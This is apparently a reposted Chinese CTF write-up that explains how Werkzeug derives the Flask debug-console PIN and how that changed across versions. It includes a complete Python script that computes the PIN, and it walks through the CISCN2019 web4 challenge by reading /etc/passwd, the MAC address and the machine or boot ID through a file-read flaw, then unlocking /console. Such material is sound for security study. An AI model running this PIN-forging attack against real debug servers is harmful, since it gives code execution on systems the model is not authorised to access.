Flask Pin码构造详解
2022-8-25 00:0:48 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

最近在刷题,刷到了CISCN2019 华东南赛区的web4题,读到源码后发现需要去修改Session的值,但看到下面开启了flask的debug,就想着去构造pin码进控制台读取flag,结果后面怎么构造都不对,于是简单研究了下

参数的具体内容

根据网上文章,pin码主要由六个参数构成,主要是username,modname,getattr(app, "__name__", app.__class__.__name__),getattr(mod, "__file__", None),str(uuid.getnode()), get_machine_id()这六个参数构成,生成pin码的代码则是在werkzeug.debug.__init__.get_pin_and_cookie_name,这里以Mac系统为例,直接下断点跟踪

跟踪到186行,probably_public_bitsprivate_bits即构成pin码的两个参数数组,其中,username的获取如图所示,实际上就是运行当前程序的用户的用户名,这里是我的主机名forthrglory

接下来是modname,这里取的是app对象的__module__属性,如果不存在的话取类的__module__属性,默认为flask.app

再往后和modname类似,获取的是当前app对象的__name__属性,不存在则获取类的__name__属性,默认为Flask

接着是取mod__file__属性,而mod实际上就是flask.app模块对象,因此最终获取到的__file__属性就是flask包内app.py的绝对路径,这个路径一般情况下都是/usr/local/lib/python{版本号}/site-packages/flask/app.py,在开启了debug的情况下可以通过报错获取,需要注意的是,在python2中,这个值是app.pyc,在python3中才是app.py

再往下,private_bits的第一个属性通过str(uuid.getnode())获取,这里实际上就是当前网卡的物理地址的整型,可以通过int(MAC, 16)获取,文件读取则是

接着是get_machine_id,这是构造的重点,跟进函数

红框内是重点,首先从/proc/self/cgroup中读取第一行,如果存在,则使用value.strip().partition("/docker/")[2]进行分割,并取分割后的最后一位,这里对应着docker容器的读取方式,容器会共享相同的机器ID。如果读不到的话,继续往下走

接着会去两个文件/etc/machine-id/proc/sys/kernl/random/boot_id中国呢读取,这里对应着Linux系统的读取方式,前者是linux系统的机器ID,后者

则是跟内核相关,每次开机重新生成一个,并非唯一

如果这两个文件还是读取不到,继续往下走

这里是Mac os的生成文件,会去执行ioreg -c IOPlatformExpertDevice -d 2命令,然后取"serial-number" = <{ID}$中ID部分,当然,如果这里还找不到,继续往下走

在Windows系统中去读取注册表中的机器ID,路径就是HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid,读取到了直接return,读取不到,返回空

到这儿参数的来历都清楚了,做个总结

probably_public_bits = [
    username    运行当前程序的用户名
    modname     当前对象的模块名,默认为flask.app
    getattr(app, "__name__", app.__class__.__name__) 当前对象的名称,默认为Flask
    getattr(mod, "__file__", None)          flask包内的app.py的绝对路径
]

private_bits = [
    str(uuid.getnode())     Mac地址的整型,通过int(Mac, 16)可以获取
    get_machine_id()            [
            docker      /proc/self/cgroup,正则分割
            Linux           /etc/machine-id,/proc/sys/kernl/random/boot_id,前者固定后者不固定
            macOS           ioreg -c IOPlatformExpertDevice -d 2中"serial-number" = <{ID}部分
            Windows     注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
    ]
]

接下来做个实践

直接运行,debug的pin码为327-292-702

收集所有信息(涉及隐私部分打码)

probably_public_bits = [
    forthrglory
    flask.app
    Flask
    /Users/forthrglory/opt/anaconda3/lib/python3.7/site-packages/flask/app.py
]

private_bits = [
    ac:de:48:xx:xx:xx
    4d443650000000000000000000xxxxxxxxxxxxxxxxxxxxxxx0000000000000000000000000000000000000
    ]
]

直接附上脚本

import hashlib
from itertools import chain
import argparse



def getMd5Pin(probably_public_bits, private_bits):
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getSha1Pin(probably_public_bits, private_bits):
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

def macToInt(mac):
    mac = mac.replace(":", "")
    return str(int(mac, 16))

if __name__ == '__main__':
    parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
    parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
    parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
    parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
    parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
    parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
    parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
    args = parse.parse_args()

    probably_public_bits = [
        args.username,
        args.modname,
        args.appname,
        args.path
    ]

    private_bits = [
        macToInt(args.MAC),
        bytes(args.machineId, encoding = 'utf-8')
    ]
    md5Pin = getMd5Pin(probably_public_bits, private_bits)
    sha1Pin = getSha1Pin(probably_public_bits, private_bits)

    print("Md5Pin:  " + md5Pin)
    print("Sha1Pin:  " + sha1Pin)

这里我在原有的代码基础上修改了下,稍后会说明

可以看到成功的构造出了pin码

然而,当你用这个思路去跑题目时,你会发现根本没办法成功,原因很简单,时代变了大人

pin码的前世今生

在github上搜索werkzeug,跟进历史记录

实际上截止到2019年5月15号,代码只有linuxmacwindows这三种系统的pin码的,不会考虑docker的问题,直到5月15号更新

在此次更新中,添加了对docker容器的machine-id获取方式

而在2020年1月5号的更新中

这次更新将容器的顺序往下移,并且修改了正则,一直沿用至今

2021年1月18号更新后,代码修改md5加密方式为sha1加密,因此代码中才会显示md5和sha1两种pin码

根据更新日志,得到

0.15.5(2019-7-17)之前                                             没有docker容器的machine-id
0.15.5(2019-7-17) - 0.16.0(2019-9-19)             修改docker容器的machine-id的正则
2.0.0(2021-5-11)之后                                              加密方式为sha1

而我本地的版本正是0.16.0,因此与更新日志符合

#### CISCN2019 华东南赛区 web4测试

buuctf开启靶机

题目不在赘述,直接读相关参数

读取/etc/passwd,获取用户名glzjin

路径可以通过报错获得,我没爆出来.....(有没有师傅可以教一个百分百报错的方法),爆破得到路径/usr/local/lib/python2.7/site-packages/flask/app.py

Mac地址读取/sys/class/net/{对应网卡}/address,默认网卡eth0

读取machine-iddocker容器读取/proc/self/cgroup,取第一行,利用正则value.strip().partition("/docker/")[2]分割拿到数据,结果为空,继续走,取/etc/machine-id,文件不存在,则去读/proc/sys/kernel/random/boot_id,拿到0e5d30fa-26d7-42e1-a736-fc8a2e419c51

最终汇聚参数如下

probably_public_bits = [
    glzjin
    flask.app
    Flask
    /usr/local/lib/python2.7/site-packages/flask/app.pyc
]

private_bits = [
    92:a0:2e:1e:8d:52
    0e5d30fa-26d7-42e1-a736-fc8a2e419c51
]

跑出来pin码,访问/console然后输入pin码即可

总结

pin码需要六个参数
1. 运行当前程序的用户名,可以通过/etc/passwd尝试
2. 对象app的__module__属性,没有则从类中取,默认为flask.app
3. 对象app的__name__属性,没有则从类中取,默认为Flask
4. flask包中的app文件绝对路径,python2为pyc,默认为/usr/local/lib/python{版本号}/site-packages/flask/app.py
5. Mac地址的整型
6. 机器ID
        docker      /proc/self/cgroup,正则分割
        Linux           /etc/machine-id,/proc/sys/kernl/random/boot_id,前者固定后者不固定
        macOS           ioreg -c IOPlatformExpertDevice -d 2中"serial-number" = <{ID}部分
        Windows     注册表HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography->MachineGuid
加密方式

python2绝大部分为md5加密,python3少部分为md5,大部分为sha1加密

机器id读取顺序不同
0.15.5之前

/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

0.15.5-0.16.0

/proc/self/cgroup->/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则value.strip().partition("/docker/")[2]分割

0.16.0之后

/etc/machine-id->/proc/sys/kernel/random/boot_id->/proc/self/cgroup->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则f.readline().strip().rpartition(b"/")[2]分割

参考文章:

有关flask开启debug模式中PIN码生成的流程

Flask debug模式算pin码

Flask debug模式下的 PIN 码安全性


文章来源: https://xz.aliyun.com/t/11647
如有侵权请联系:admin#unsafe.sh